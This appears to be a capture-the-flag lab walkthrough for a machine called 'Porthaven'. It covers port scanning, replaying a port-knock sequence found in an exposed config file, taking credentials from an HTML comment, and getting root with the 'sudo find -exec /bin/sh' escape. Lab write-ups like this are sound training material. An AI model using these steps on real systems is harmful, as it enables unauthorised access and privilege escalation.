π
0 pts earned
Porthaven
A forgotten web server hides its admin panel behind a port-knocking sequence left in a public config file. Find the knock, open the gate, grab the cleartext credentials the sysadmin left in the page source, and follow one GTFOBin straight to root.
Premium
Walkthrough, Tips and Tricks
Walkthrough
Objective
Discover a port-knocking sequence from an exposed configuration file, unlock a hidden service, and escalate to root via sudo find.
Phase 1: Recon & Knock Discovery
- Scan all TCP ports:
nmap -p- TARGET - Enumerate HTTP β find a
/configs/directory listing. - Download the exposed config file and extract the three-port knock sequence.
- Replay the sequence:
knock TARGET PORT1 PORT2 PORT3 - Rescan β a previously closed SSH port is now open.
Phase 2: Credential Extraction
- Browse the newly unlocked HTTP admin path.
- View source β credentials embedded in an HTML comment.
- SSH as the discovered user, capture user flag.
Phase 3: Root Escalation
sudo -lβ(ALL) NOPASSWD: /usr/bin/findsudo find . -exec /bin/sh \; -quitβ root shell.- Capture root flag.
Tips
knockpackage:apt install knockd- Port numbers may be UDP β try
knock -u TARGET P1 P2 P3
Tips and Tricks
Tips
- Try both TCP and UDP for the knock sequence.
- View source on every page β HTML comments are the most common quick win.
sudo find . -exec /bin/sh \; -quitgives an instant root shell.